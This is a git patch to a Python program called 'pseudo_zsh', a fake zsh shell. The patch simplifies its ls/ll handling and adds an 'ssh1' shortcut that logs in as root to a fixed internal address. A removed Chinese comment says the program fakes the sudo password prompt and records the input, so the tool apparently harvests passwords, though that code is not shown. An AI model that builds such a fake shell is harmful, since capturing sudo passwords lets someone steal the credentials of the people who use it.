From 8335b7487db3b0d27a096b7a03176eae29a5b9a4 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Tue, 8 Apr 2025 12:34:59 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BC=98=E5=8C=96=20ls=20=E5=92=8C=20ll=20?= =?UTF-8?q?=E5=91=BD=E4=BB=A4=E7=9A=84=E9=BB=98=E8=AE=A4=E5=8F=82=E6=95=B0?= =?UTF-8?q?=E5=A4=84=E7=90=86=EF=BC=8C=E6=B7=BB=E5=8A=A0=E5=AF=B9=20ssh1?= =?UTF-8?q?=20=E5=91=BD=E4=BB=A4=E7=9A=84=E6=94=AF=E6=8C=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 28 +++++++++------------------- 1 file changed, 9 insertions(+), 19 deletions(-) diff --git a/main.py b/main.py index dd7c09e..e2023a1 100644 --- a/main.py +++ b/main.py @@ -61,7 +61,6 @@ def pseudo_zsh(): if not args: # 如果输入为空,跳过本次循环 continue - # 实现简单的 cd 命令 if args[0] == 'cd': try: os.chdir(args[1]) # 切换到指定目录 @@ -75,24 +74,15 @@ def pseudo_zsh(): print(f"cd: no such file or directory: {args[1]}") # 目录不存在 continue if args[0] == 'ls': - try: - if len(args) == 1: - args.append('-l') # 默认参数 - subprocess.run(['ls'] + args[1:]) # 执行 ls 命令 - except FileNotFoundError: - print(f"zsh: command not found: {args[0]}") - - if args[0] == 'll': - try: - if len(args) == 1: - args.append('-l') # 默认参数 - subprocess.run(['ls'] + args[1:]) # 执行 ll 命令 - except FileNotFoundError: - print(f"zsh: command not found: {args[0]}") - - - # 伪造 sudo 密码输入并记录 - + if len(args) == 1: + args.append('-l') # 默认参数 + subprocess.run(['ls'] + args[1:]) # 执行 ls 命令 + if args[0] == 'l': + if len(args) == 1: + args.append('-l') + subprocess.run(['ls'] + args[1:]) + if args[0] == 'ssh1': + subprocess.run(['ssh','root@10.147.17.161']) if args[0] == 'sudo': flight1 = True a = 0